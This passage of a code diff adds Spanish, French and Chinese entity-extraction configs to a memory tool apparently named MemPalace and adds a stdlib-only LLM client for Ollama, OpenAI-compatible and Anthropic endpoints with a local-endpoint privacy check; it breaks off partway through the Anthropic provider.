"entre", "hasta", "desde", "hacia", "contra", "según", "tras",
|
||||
"y", "o", "u", "ni", "pero", "sino", "aunque", "porque", "pues",
|
||||
"que", "quien", "quienes", "cual", "cuales", "cuyo", "cuya",
|
||||
"donde", "cuando", "como", "cuanto", "cuanta",
|
||||
"yo", "tú", "él", "ella", "nosotros", "vosotros", "ellos", "ellas",
|
||||
"me", "te", "se", "nos", "os", "lo", "la", "le", "los", "las", "les",
|
||||
"mi", "mis", "tu", "tus", "su", "sus", "nuestro", "nuestra", "vuestro",
|
||||
"este", "esta", "estos", "estas", "ese", "esa", "esos", "esas",
|
||||
"aquel", "aquella", "aquellos", "aquellas", "esto", "eso", "aquello",
|
||||
"ser", "estar", "haber", "tener", "hacer", "poder", "querer", "saber",
|
||||
"es", "son", "fue", "fueron", "era", "eran", "está", "están", "estaba",
|
||||
"he", "ha", "hemos", "han", "había", "hay",
|
||||
"muy", "mucho", "mucha", "muchos", "muchas", "poco", "poca", "pocos", "pocas",
|
||||
"más", "menos", "tan", "tanto", "también", "tampoco",
|
||||
"sí", "no", "quizás", "tal", "vez",
|
||||
"aquí", "allí", "allá", "ahí", "acá",
|
||||
"hoy", "ayer", "mañana", "ahora", "antes", "después", "luego", "entonces",
|
||||
"siempre", "nunca", "jamás", "todavía", "aún", "ya",
|
||||
"bien", "mal", "mejor", "peor", "bueno", "buena", "malo", "mala",
|
||||
"gracias", "hola", "adiós", "por favor", "perdón",
|
||||
"día", "días", "semana", "mes", "año", "años", "tiempo", "vez", "veces",
|
||||
"cosa", "cosas", "persona", "gente", "mundo", "vida", "casa", "lugar",
|
||||
"forma", "manera", "parte", "caso", "punto", "idea", "hecho", "razón",
|
||||
"nombre", "número", "versión", "sistema", "modelo"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -40,5 +40,87 @@
|
||||
"stop_words": "le la les un une des de du au aux en et ou mais donc or ni car que qui ce cette ces son sa ses mon ma mes ton ta tes leur leurs nous vous ils elles on ne pas plus très bien aussi avec pour dans sur par est sont fait être avoir été comme tout tous toute toutes",
|
||||
"quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
|
||||
"action_pattern": "(?:construit|corrigé|écrit|ajouté|poussé|mesuré|testé|révisé|créé|supprimé|mis à jour|configuré|déployé|migré)\\s+[\\wà-ÿ\\s]{3,30}"
|
||||
},
|
||||
"entity": {
|
||||
"candidate_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]{1,19}",
|
||||
"multi_word_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+(?:\\s+[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+)+",
|
||||
"person_verb_patterns": [
|
||||
"\\b{name}\\s+a\\s+dit\\b",
|
||||
"\\b{name}\\s+a\\s+demandé\\b",
|
||||
"\\b{name}\\s+a\\s+répondu\\b",
|
||||
"\\b{name}\\s+a\\s+raconté\\b",
|
||||
"\\b{name}\\s+a\\s+ri\\b",
|
||||
"\\b{name}\\s+a\\s+souri\\b",
|
||||
"\\b{name}\\s+a\\s+pleuré\\b",
|
||||
"\\b{name}\\s+a\\s+senti\\b",
|
||||
"\\b{name}\\s+pense\\b",
|
||||
"\\b{name}\\s+veut\\b",
|
||||
"\\b{name}\\s+aime\\b",
|
||||
"\\b{name}\\s+déteste\\b",
|
||||
"\\b{name}\\s+sait\\b",
|
||||
"\\b{name}\\s+a\\s+décidé\\b",
|
||||
"\\b{name}\\s+a\\s+écrit\\b"
|
||||
],
|
||||
"pronoun_patterns": [
|
||||
"\\bil\\b",
|
||||
"\\belle\\b",
|
||||
"\\blui\\b",
|
||||
"\\bils\\b",
|
||||
"\\belles\\b",
|
||||
"\\bleur\\b",
|
||||
"\\bleurs\\b",
|
||||
"\\beux\\b",
|
||||
"\\bse\\b"
|
||||
],
|
||||
"dialogue_patterns": [
|
||||
"^>\\s*{name}[:\\s]",
|
||||
"^{name}:\\s",
|
||||
"^\\[{name}\\]",
|
||||
"\"{name}\\s+a\\s+dit"
|
||||
],
|
||||
"direct_address_pattern": "\\bbonjour\\s+{name}\\b|\\bsalut\\s+{name}\\b|\\bmerci\\s+{name}\\b|\\bcher\\s+{name}\\b|\\bchère\\s+{name}\\b|\\bmonsieur\\s+{name}\\b|\\bmadame\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b",
|
||||
"project_verb_patterns": [
|
||||
"\\bconstruit\\s+{name}\\b",
|
||||
"\\blancé\\s+{name}\\b",
|
||||
"\\bdéployé\\s+{name}\\b",
|
||||
"\\binstallé\\s+{name}\\b",
|
||||
"\\bl'architecture\\s+{name}\\b",
|
||||
"\\ble\\s+pipeline\\s+{name}\\b",
|
||||
"\\ble\\s+système\\s+{name}\\b",
|
||||
"\\ble\\s+projet\\s+{name}\\b",
|
||||
"\\ble\\s+dépôt\\s+{name}\\b",
|
||||
"\\b{name}\\s+v\\d+\\b",
|
||||
"\\b{name}\\.py\\b",
|
||||
"\\bimport\\s+{name}\\b",
|
||||
"\\bpip\\s+install\\s+{name}\\b"
|
||||
],
|
||||
"stopwords": [
|
||||
"le", "la", "les", "un", "une", "des", "du", "de", "au", "aux",
|
||||
"en", "dans", "sur", "sous", "avec", "sans", "pour", "par", "vers",
|
||||
"chez", "entre", "depuis", "pendant", "avant", "après", "jusqu",
|
||||
"et", "ou", "mais", "donc", "or", "ni", "car", "que", "qui",
|
||||
"dont", "où", "quand", "comment", "pourquoi", "combien", "lequel",
|
||||
"ce", "cet", "cette", "ces", "celui", "celle", "ceux", "celles",
|
||||
"mon", "ma", "mes", "ton", "ta", "tes", "son", "sa", "ses",
|
||||
"notre", "nos", "votre", "vos", "leur", "leurs",
|
||||
"je", "tu", "il", "elle", "on", "nous", "vous", "ils", "elles",
|
||||
"me", "te", "se", "lui", "eux",
|
||||
"être", "avoir", "faire", "dire", "aller", "voir", "savoir", "pouvoir",
|
||||
"est", "sont", "était", "étaient", "fut", "furent", "sera", "seront",
|
||||
"ai", "as", "a", "avons", "avez", "ont", "avait", "avaient",
|
||||
"très", "bien", "mal", "peu", "beaucoup", "trop", "assez", "aussi",
|
||||
"plus", "moins", "tant", "si", "tellement",
|
||||
"oui", "non", "peut-être", "vraiment",
|
||||
"ici", "là", "là-bas", "partout", "ailleurs",
|
||||
"aujourd'hui", "hier", "demain", "maintenant", "alors", "ensuite",
|
||||
"toujours", "jamais", "souvent", "parfois", "déjà", "encore",
|
||||
"bon", "bonne", "mauvais", "mauvaise", "meilleur", "pire",
|
||||
"merci", "bonjour", "salut", "au revoir",
|
||||
"jour", "jours", "semaine", "mois", "année", "temps", "fois",
|
||||
"chose", "choses", "personne", "gens", "monde", "vie", "maison",
|
||||
"endroit", "lieu", "partie", "façon", "manière", "sorte", "type",
|
||||
"cas", "point", "idée", "fait", "raison", "nom", "nombre",
|
||||
"version", "système", "modèle", "question", "réponse"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -40,5 +40,93 @@
|
||||
"stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一个 上 也 很 到 说 要 去 你 会 着 没有 看 好 自己 这 那 她 他 它 们 但是 因为 所以 如果 虽然 然后 或者 而且",
|
||||
"quote_pattern": "\\u201C([^\\u201D]{10,100})\\u201D|\"([^\"]{10,200})\"",
|
||||
"action_pattern": "(构建|修复|添加|删除|确认|创建|实现|修理|编写|测试|验证|更新|配置|启动|停止)(?:了|完成|成功)"
|
||||
},
|
||||
"entity": {
|
||||
"boundary_chars": "\\u4E00-\\u9FFF",
|
||||
"candidate_pattern": "[王李张刘陈杨赵黄周吴徐孙朱胡郭何高林罗郑梁谢宋唐许韩冯邓曹彭曾萧田董袁潘于蒋蔡余杜叶程苏魏吕丁任沈姚卢姜崔钟谭陆汪范金石廖贾夏韦方白邹孟熊秦邱江尹薛阎段雷侯龙史陶黎贺顾毛郝龚邵万钱严武戴莫孔向汤温庞殷章葛管甘卞冉蓝殷习][\\u4E00-\\u9FFF]{1,2}",
|
||||
"person_verb_patterns": [
|
||||
"{name}说",
|
||||
"{name}问",
|
||||
"{name}答",
|
||||
"{name}表示",
|
||||
"{name}回答",
|
||||
"{name}提出",
|
||||
"{name}决定",
|
||||
"{name}认为",
|
||||
"{name}指出",
|
||||
"{name}解释",
|
||||
"{name}告诉",
|
||||
"{name}写道",
|
||||
"{name}想",
|
||||
"{name}觉得",
|
||||
"{name}知道",
|
||||
"{name}喜欢",
|
||||
"{name}讨厌",
|
||||
"{name}确认",
|
||||
"{name}提醒",
|
||||
"{name}分享",
|
||||
"{name}建议",
|
||||
"{name}同意",
|
||||
"{name}反对"
|
||||
],
|
||||
"pronoun_patterns": [
|
||||
"他们",
|
||||
"她们",
|
||||
"他",
|
||||
"她",
|
||||
"它",
|
||||
"您",
|
||||
"咱"
|
||||
],
|
||||
"dialogue_patterns": [
|
||||
"^>\\s*{name}[::\\s]",
|
||||
"^{name}[::]\\s?",
|
||||
"^\\[{name}\\]",
|
||||
"\u201C{name}[\u201D::]",
|
||||
"「{name}[」::]"
|
||||
],
|
||||
"direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|谢谢\\s*{name}|感谢\\s*{name}|哈喽\\s*{name}|亲爱的\\s*{name}",
|
||||
"project_verb_patterns": [
|
||||
"建立{name}",
|
||||
"打造{name}",
|
||||
"部署{name}",
|
||||
"启动{name}",
|
||||
"发布{name}",
|
||||
"上线{name}",
|
||||
"开发{name}",
|
||||
"维护{name}",
|
||||
"{name}系统",
|
||||
"{name}平台",
|
||||
"{name}项目",
|
||||
"{name}架构",
|
||||
"{name}管线",
|
||||
"{name}v\\d+",
|
||||
"\\bimport\\s+{name}\\b",
|
||||
"\\bpip\\s+install\\s+{name}\\b"
|
||||
],
|
||||
"stopwords": [
|
||||
"的", "了", "着", "过", "得", "地", "吗", "吧", "呢", "啊", "喔", "耶",
|
||||
"我", "你", "妳", "他", "她", "它", "您", "咱",
|
||||
"我们", "你们", "妳们", "他们", "她们", "它们", "咱们",
|
||||
"自己", "大家", "有人", "没人",
|
||||
"今天", "明天", "昨天", "前天", "后天", "今年", "明年", "去年",
|
||||
"早上", "下午", "晚上", "中午", "凌晨",
|
||||
"现在", "刚才", "刚刚", "等等", "等下", "待会",
|
||||
"最近", "以前", "之前", "之后", "以后", "后来",
|
||||
"什么", "为什么", "怎么", "怎样", "哪里", "哪个",
|
||||
"这个", "那个", "这里", "那里", "这些", "那些", "这样", "那样",
|
||||
"但是", "可是", "然后", "所以", "因为", "如果", "虽然",
|
||||
"而且", "或者", "或是", "还是", "不过", "只是", "不只",
|
||||
"既然", "不然", "否则", "此外", "另外",
|
||||
"很", "非常", "相当", "真的", "确实", "当然", "其实",
|
||||
"已经", "正在", "即将", "将要", "刚好", "恰好",
|
||||
"可能", "也许", "或许", "大概", "应该", "必须", "一定",
|
||||
"完成", "执行", "进行", "开始", "结束", "继续", "停止", "完毕",
|
||||
"没有", "有点", "有些", "一些", "许多", "很多",
|
||||
"问题", "答案", "原因", "结果", "情况", "状况",
|
||||
"主要", "重要", "基本", "简单", "复杂", "特别",
|
||||
"谢谢", "感谢", "对不起", "不好意思", "请问",
|
||||
"欢迎", "再见", "你好", "您好", "哈喽", "拜拜"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -40,5 +40,93 @@
|
||||
"stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一個 上 也 很 到 說 要 去 你 會 著 沒有 看 好 自己 這 那 她 他 它 們 但是 因為 所以 如果 雖然 然後 或者 而且",
|
||||
"quote_pattern": "「([^」]{10,100})」|\u201c([^\u201d]{10,100})\u201d",
|
||||
"action_pattern": "(構建|修復|添加|刪除|確認|創建|實現|修理|編寫|測試|驗證|更新|配置|啟動|停止)(?:了|完成|成功)"
|
||||
},
|
||||
"entity": {
|
||||
"boundary_chars": "\\u4E00-\\u9FFF",
|
||||
"candidate_pattern": "[王李張劉陳楊趙黃周吳徐孫朱胡郭何高林羅鄭梁謝宋唐許韓馮鄧曹彭曾蕭田董袁潘于蔣蔡余杜葉程蘇魏呂丁任沈姚盧姜崔鍾譚陸汪范金石廖賈夏韋方白鄒孟熊秦邱江尹薛閻段雷侯龍史陶黎賀顧毛郝龔邵萬錢嚴武戴莫孔向湯溫龐殷章葛管甘卞冉藍殷習][\\u4E00-\\u9FFF]{1,2}",
|
||||
"person_verb_patterns": [
|
||||
"{name}說",
|
||||
"{name}問",
|
||||
"{name}答",
|
||||
"{name}表示",
|
||||
"{name}回答",
|
||||
"{name}提出",
|
||||
"{name}決定",
|
||||
"{name}認為",
|
||||
"{name}指出",
|
||||
"{name}解釋",
|
||||
"{name}告訴",
|
||||
"{name}寫道",
|
||||
"{name}想",
|
||||
"{name}覺得",
|
||||
"{name}知道",
|
||||
"{name}喜歡",
|
||||
"{name}討厭",
|
||||
"{name}確認",
|
||||
"{name}提醒",
|
||||
"{name}分享",
|
||||
"{name}建議",
|
||||
"{name}同意",
|
||||
"{name}反對"
|
||||
],
|
||||
"pronoun_patterns": [
|
||||
"他們",
|
||||
"她們",
|
||||
"他",
|
||||
"她",
|
||||
"它",
|
||||
"您",
|
||||
"咱"
|
||||
],
|
||||
"dialogue_patterns": [
|
||||
"^>\\s*{name}[::\\s]",
|
||||
"^{name}[::]\\s?",
|
||||
"^\\[{name}\\]",
|
||||
"「{name}[」::]",
|
||||
"『{name}[』::]"
|
||||
],
|
||||
"direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|謝謝\\s*{name}|感謝\\s*{name}|哈囉\\s*{name}|親愛的\\s*{name}",
|
||||
"project_verb_patterns": [
|
||||
"建立{name}",
|
||||
"打造{name}",
|
||||
"部署{name}",
|
||||
"啟動{name}",
|
||||
"發布{name}",
|
||||
"上線{name}",
|
||||
"開發{name}",
|
||||
"維護{name}",
|
||||
"{name}系統",
|
||||
"{name}平台",
|
||||
"{name}專案",
|
||||
"{name}架構",
|
||||
"{name}管線",
|
||||
"{name}v\\d+",
|
||||
"\\bimport\\s+{name}\\b",
|
||||
"\\bpip\\s+install\\s+{name}\\b"
|
||||
],
|
||||
"stopwords": [
|
||||
"的", "了", "著", "過", "得", "地", "嗎", "吧", "呢", "啊", "喔", "耶",
|
||||
"我", "你", "妳", "他", "她", "它", "您", "咱",
|
||||
"我們", "你們", "妳們", "他們", "她們", "它們", "咱們",
|
||||
"自己", "大家", "有人", "沒人",
|
||||
"今天", "明天", "昨天", "前天", "後天", "今年", "明年", "去年",
|
||||
"早上", "下午", "晚上", "中午", "凌晨",
|
||||
"現在", "剛才", "剛剛", "等等", "等下", "待會",
|
||||
"最近", "以前", "之前", "之後", "以後", "後來",
|
||||
"什麼", "甚麼", "為什麼", "怎麼", "怎樣", "哪裡", "哪個",
|
||||
"這個", "那個", "這裡", "那裡", "這些", "那些", "這樣", "那樣",
|
||||
"但是", "可是", "然後", "所以", "因為", "如果", "雖然",
|
||||
"而且", "或者", "或是", "還是", "不過", "只是", "不只",
|
||||
"既然", "不然", "否則", "此外", "另外",
|
||||
"很", "非常", "相當", "真的", "確實", "當然", "其實",
|
||||
"已經", "正在", "即將", "將要", "剛好", "恰好",
|
||||
"可能", "也許", "或許", "大概", "應該", "必須", "一定",
|
||||
"完成", "執行", "進行", "開始", "結束", "繼續", "停止", "完畢",
|
||||
"沒有", "有點", "有些", "一些", "許多", "很多",
|
||||
"問題", "答案", "原因", "結果", "情況", "狀況",
|
||||
"主要", "重要", "基本", "簡單", "複雜", "特別",
|
||||
"謝謝", "感謝", "對不起", "不好意思", "請問",
|
||||
"歡迎", "再見", "你好", "您好", "哈囉", "掰掰"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -49,7 +49,7 @@ If this fails, report the error and stop.
|
||||
|
||||
Run the following command to register the MemPalace MCP server with Claude:
|
||||
|
||||
claude mcp add mempalace -- python -m mempalace.mcp_server
|
||||
claude mcp add mempalace -- mempalace-mcp
|
||||
|
||||
If this fails, report the error but continue to the next step (MCP
|
||||
configuration can be done manually later).
|
||||
|
||||
@@ -0,0 +1,417 @@
|
||||
"""
|
||||
llm_client.py — Minimal provider abstraction for LLM-assisted entity refinement.
|
||||
|
||||
Three providers cover the useful space:
|
||||
|
||||
- ``ollama`` (default): local models via http://localhost:11434. Works fully
|
||||
offline. Honors MemPalace's "zero-API required" principle.
|
||||
- ``openai-compat``: any OpenAI-compatible ``/v1/chat/completions`` endpoint.
|
||||
Covers OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Fireworks,
|
||||
Together, and most self-hosted setups.
|
||||
- ``anthropic``: the official Messages API. Opt-in for users who want Haiku
|
||||
quality without setting up a local model.
|
||||
|
||||
All providers expose the same ``classify(system, user, json_mode)`` method and
|
||||
the same ``check_available()`` probe. No external SDK dependencies — stdlib
|
||||
``urllib`` only.
|
||||
|
||||
JSON mode matters here: we always ask for structured output. Providers
|
||||
differ on how to request it (Ollama: ``format: json``; OpenAI-compat:
|
||||
``response_format``; Anthropic: prompt-level instruction) and this module
|
||||
normalizes that away from the caller.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
from dataclasses import dataclass
|
||||
from typing import Optional
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlparse
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
|
||||
# ── External-service heuristic (issue #24 — privacy warning support) ─────
|
||||
# Used by ``LLMProvider.is_external_service`` to decide whether the
|
||||
# provider's configured endpoint will send user content off the local
|
||||
# machine/network. Single source of truth so all three providers share
|
||||
# identical "local vs external" semantics.
|
||||
|
||||
_LOCALHOST_HOSTS = frozenset({"localhost", "127.0.0.1", "::1"})
|
||||
|
||||
|
||||
def _endpoint_is_local(url: Optional[str]) -> bool:
|
||||
"""Return True if ``url``'s hostname is on the user's machine or
|
||||
private network.
|
||||
|
||||
Local includes:
|
||||
- localhost, 127.0.0.1, ::1
|
||||
- hostnames ending in .local (mDNS/Bonjour)
|
||||
- IPv4 RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
|
||||
- IPv4 CGNAT (Tailscale and similar VPN/tunnel networks):
|
||||
100.64.0.0/10 — first octet 100, second octet 64-127 inclusive
|
||||
- IPv6 unique-local addresses (fc00::/7) — fc.../fd... prefixes
|
||||
|
||||
None / empty / unparseable URLs are treated as local (defensive default —
|
||||
no endpoint means no external request can happen yet).
|
||||
|
||||
Anything else (including public IPs and FQDNs) is external.
|
||||
"""
|
||||
if not url:
|
||||
return True
|
||||
try:
|
||||
host = (urlparse(url).hostname or "").lower()
|
||||
except (ValueError, AttributeError):
|
||||
return False
|
||||
if not host:
|
||||
return True
|
||||
if host in _LOCALHOST_HOSTS:
|
||||
return True
|
||||
if host.endswith(".local"):
|
||||
return True
|
||||
if host.startswith("10."):
|
||||
return True
|
||||
if host.startswith("192.168."):
|
||||
return True
|
||||
if host.startswith("172."):
|
||||
# 172.16.0.0 - 172.31.255.255
|
||||
parts = host.split(".")
|
||||
if len(parts) >= 2:
|
||||
try:
|
||||
if 16 <= int(parts[1]) <= 31:
|
||||
return True
|
||||
except ValueError:
|
||||
pass
|
||||
if host.startswith("100."):
|
||||
# 100.64.0.0/10 — Tailscale CGNAT range. First octet 100, second
|
||||
# octet 64-127 inclusive. Users running a local LLM (LM Studio,
|
||||
# Ollama, etc.) accessible via Tailscale on a 100.x.x.x address
|
||||
# should not trigger the external-API privacy warning.
|
||||
# 100.x.x.x outside this range is regular allocated public space
|
||||
# and remains external.
|
||||
parts = host.split(".")
|
||||
if len(parts) >= 2:
|
||||
try:
|
||||
if 64 <= int(parts[1]) <= 127:
|
||||
return True
|
||||
except ValueError:
|
||||
pass
|
||||
# IPv6 unique-local addresses fc00::/7 — match leading hex chars
|
||||
if host.startswith("fc") or host.startswith("fd"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class LLMError(RuntimeError):
|
||||
"""Raised for any provider failure — transport, parse, auth, missing model."""
|
||||
|
||||
|
||||
@dataclass
|
||||
class LLMResponse:
|
||||
text: str
|
||||
model: str
|
||||
provider: str
|
||||
raw: dict
|
||||
|
||||
|
||||
# ==================== BASE ====================
|
||||
|
||||
|
||||
class LLMProvider:
|
||||
name: str = "base"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
model: str,
|
||||
endpoint: Optional[str] = None,
|
||||
api_key: Optional[str] = None,
|
||||
timeout: int = 120,
|
||||
api_key_source: Optional[str] = None,
|
||||
):
|
||||
self.model = model
|
||||
self.endpoint = endpoint
|
||||
self.api_key = api_key
|
||||
self.timeout = timeout
|
||||
# Provenance of api_key (issue #26): "flag" when the constructor
|
||||
# received an explicit api_key arg, "env" when it fell back to an
|
||||
# environment variable, None when no key is in play. cmd_init
|
||||
# uses this to gate the consent prompt — stray env-resolved keys
|
||||
# require explicit user confirmation.
|
||||
self.api_key_source = api_key_source
|
||||
|
||||
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
|
||||
raise NotImplementedError
|
||||
|
||||
def check_available(self) -> tuple[bool, str]:
|
||||
"""Return ``(ok, message)``. Fast probe that the provider is reachable."""
|
||||
raise NotImplementedError
|
||||
|
||||
@property
|
||||
def is_external_service(self) -> bool:
|
||||
"""Return True if this provider's endpoint will send user content
|
||||
off the local machine/network.
|
||||
|
||||
Used by ``mempalace init`` to decide whether to print a privacy
|
||||
warning before first use (issue #24). URL-based heuristic only —
|
||||
the endpoint determines, regardless of which provider class.
|
||||
Subclasses that resolve their endpoint dynamically should override
|
||||
if needed; the default works for the three in-tree providers
|
||||
(Ollama / OpenAI-compat / Anthropic).
|
||||
"""
|
||||
return not _endpoint_is_local(self.endpoint)
|
||||
|
||||
|
||||
def _http_post_json(url: str, body: dict, headers: dict, timeout: int) -> dict:
|
||||
"""POST JSON and return the parsed response. Raises LLMError on any failure."""
|
||||
req = Request(
|
||||
url,
|
||||
data=json.dumps(body).encode("utf-8"),
|
||||
headers={"Content-Type": "application/json", **headers},
|
||||
)
|
||||
try:
|
||||
with urlopen(req, timeout=timeout) as resp:
|
||||
return json.loads(resp.read())
|
||||
except HTTPError as e:
|
||||
detail = ""
|
||||
try:
|
||||
detail = e.read().decode("utf-8", errors="replace")[:500]
|
||||
except Exception:
|
||||
pass
|
||||
raise LLMError(f"HTTP {e.code} from {url}: {detail or e.reason}") from e
|
||||
except (URLError, OSError) as e:
|
||||
raise LLMError(f"Cannot reach {url}: {e}") from e
|
||||
except json.JSONDecodeError as e:
|
||||
raise LLMError(f"Malformed response from {url}: {e}") from e
|
||||
|
||||
|
||||
# ==================== OLLAMA ====================
|
||||
|
||||
|
||||
class OllamaProvider(LLMProvider):
|
||||
name = "ollama"
|
||||
DEFAULT_ENDPOINT = "http://localhost:11434"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
model: str,
|
||||
endpoint: Optional[str] = None,
|
||||
timeout: int = 180,
|
||||
**_: object,
|
||||
):
|
||||
super().__init__(
|
||||
model=model,
|
||||
endpoint=endpoint or self.DEFAULT_ENDPOINT,
|
||||
timeout=timeout,
|
||||
)
|
||||
|
||||
def check_available(self) -> tuple[bool, str]:
|
||||
try:
|
||||
with urlopen(f"{self.endpoint}/api/tags", timeout=5) as resp:
|
||||
data = json.loads(resp.read())
|
||||
except (URLError, HTTPError, OSError, json.JSONDecodeError) as e:
|
||||
return False, f"Cannot reach Ollama at {self.endpoint}: {e}"
|
||||
names = {m.get("name", "") for m in data.get("models", []) or []}
|
||||
# Ollama tags may or may not include ':latest' — accept either form
|
||||
wanted = {self.model, f"{self.model}:latest"}
|
||||
if not names & wanted:
|
||||
return (
|
||||
False,
|
||||
f"Model '{self.model}' not loaded in Ollama. Run: ollama pull {self.model}",
|
||||
)
|
||||
return True, "ok"
|
||||
|
||||
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
|
||||
body: dict = {
|
||||
"model": self.model,
|
||||
"messages": [
|
||||
{"role": "system", "content": system},
|
||||
{"role": "user", "content": user},
|
||||
],
|
||||
"stream": False,
|
||||
"options": {"temperature": 0.1},
|
||||
}
|
||||
if json_mode:
|
||||
body["format"] = "json"
|
||||
data = _http_post_json(f"{self.endpoint}/api/chat", body, headers={}, timeout=self.timeout)
|
||||
text = (data.get("message") or {}).get("content", "")
|
||||
if not text:
|
||||
raise LLMError(f"Empty response from Ollama (model={self.model})")
|
||||
return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
|
||||
|
||||
|
||||
# ==================== OPENAI-COMPAT ====================
|
||||
|
||||
|
||||
class OpenAICompatProvider(LLMProvider):
|
||||
"""Any OpenAI-compatible ``/v1/chat/completions`` endpoint.
|
||||
|
||||
Supply ``--llm-endpoint http://host:port`` (with or without ``/v1``).
|
||||
API key via ``--llm-api-key`` or the ``OPENAI_API_KEY`` env var.
|
||||
"""
|
||||
|
||||
name = "openai-compat"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
model: str,
|
||||
endpoint: Optional[str] = None,
|
||||
api_key: Optional[str] = None,
|
||||
timeout: int = 120,
|
||||
**_: object,
|
||||
):
|
||||
if api_key:
|
||||
resolved_key = api_key
|
||||
source: Optional[str] = "flag"
|
||||
else:
|
||||
env_key = os.environ.get("OPENAI_API_KEY")
|
||||
resolved_key = env_key or None
|
||||
source = "env" if env_key else None
|
||||
super().__init__(
|
||||
model=model,
|
||||
endpoint=endpoint,
|
||||
api_key=resolved_key,
|
||||
timeout=timeout,
|
||||
api_key_source=source,
|
||||
)
|
||||
|
||||
def _resolve_url(self) -> str:
|
||||
if not self.endpoint:
|
||||
raise LLMError("openai-compat provider requires --llm-endpoint")
|
||||
url = self.endpoint.rstrip("/")
|
||||
if url.endswith("/chat/completions"):
|
||||
return url
|
||||
if not url.endswith("/v1"):
|
||||
url = f"{url}/v1"
|
||||
return f"{url}/chat/completions"
|
||||
|
||||
def check_available(self) -> tuple[bool, str]:
|
||||
if not self.endpoint:
|
||||
return False, "no --llm-endpoint configured"
|
||||
base = self.endpoint.rstrip("/")
|
||||
base = base.removesuffix("/chat/completions").removesuffix("/v1")
|
||||
try:
|
||||
req = Request(f"{base}/v1/models")
|
||||
if self.api_key:
|
||||
req.add_header("Authorization", f"Bearer {self.api_key}")
|
||||
with urlopen(req, timeout=5):
|
||||
pass
|
||||
except (URLError, HTTPError, OSError) as e:
|
||||
return False, f"Cannot reach {self.endpoint}: {e}"
|
||||
return True, "ok"
|
||||
|
||||
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
|
||||
body: dict = {
|
||||
"model": self.model,
|
||||
"messages": [
|
||||
{"role": "system", "content": system},
|
||||
{"role": "user", "content": user},
|
||||
],
|
||||
"temperature": 0.1,
|
||||
}
|
||||
if json_mode:
|
||||
body["response_format"] = {"type": "json_object"}
|
||||
headers = {}
|
||||
if self.api_key:
|
||||
headers["Authorization"] = f"Bearer {self.api_key}"
|
||||
data = _http_post_json(self._resolve_url(), body, headers=headers, timeout=self.timeout)
|
||||
try:
|
||||
text = data["choices"][0]["message"]["content"]
|
||||
except (KeyError, IndexError, TypeError) as e:
|
||||
raise LLMError(f"Unexpected response shape: {e}") from e
|
||||
if not text:
|
||||
raise LLMError(f"Empty response from {self.name} (model={self.model})")
|
||||
return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
|
||||
|
||||
|
||||
# ==================== ANTHROPIC ====================
|
||||
|
||||
|
||||
class AnthropicProvider(LLMProvider):
|
||||
name = "anthropic"
|
||||
DEFAULT_ENDPOINT = "https://api.anthropic.com"
|
||||
API_VERSION = "2023-06-01"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
model: str,
|
||||
api_key: Optional[str] = None,
|
||||
endpoint: Optional[str] = None,
|
||||
timeout: int = 120,
|
||||
**_: object,
|
||||
):
|
||||
if api_key:
|
||||
resolved_key = api_key
|
||||
source: Optional[str] = "flag"
|
||||
else:
|
||||
env_key = os.environ.get("ANTHROPIC_API_KEY")
|
||||
resolved_key = env_key or None
|
||||
source = "env" if env_key else None
|
||||
super().__init__(
|
||||
model=model,
|
||||
endpoint=endpoint or self.DEFAULT_ENDPOINT,
|
||||
api_key=resolved_key,
|
||||
timeout=timeout,
|
||||
api_key_source=source,
|
||||
)
|
||||
|
||||
def check_available(self) -> tuple[bool, str]:
|
||||
if not self.api_key:
|
||||
return False, "ANTHROPIC_API_KEY not set (use --llm-api-key or env)"
|
||||
# Don't probe — a live request would cost money. First real call will
|
||||
# surface auth errors if the key is invalid.
|
||||
return True, "ok"
|
||||
|
||||
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
|
||||
if not self.api_key:
|
||||
raise LLMError("Anthropic provider requires ANTHROPIC_API_KEY env or --llm-api-key")
|
||||
sys_prompt = system
|
||||
if json_mode:
|
||||
sys_prompt += "\n\nRespond with valid JSON only, no prose."
|
||||
body = {
|
||||
"model": self.model,
|
||||
"max_tokens": 2048,
|
||||
"temperature": 0.1,
|
||||
"system": sys_prompt,
|
||||
"messages": [{"role": "user", "content": user}],
|
||||
}
|
||||
headers = {
|
||||
"X-API-Key": self.api_key,
|
||||
"anthropic-version": self.API_VERSION,
|
||||
}
|
||||
data = _http_post_json(
|
||||
f"{self.endpoint}/v1/messages", body, headers=headers, timeout=self.timeout
|
||||
)
|
||||
try:
|
||||
text = "".join(
|
||||
b.get("text", "") for b in data.get("content", []) or [] if b.get("type") == "text"
|
||||
)
|
||||
except (AttributeError, TypeError) as e:
|
||||
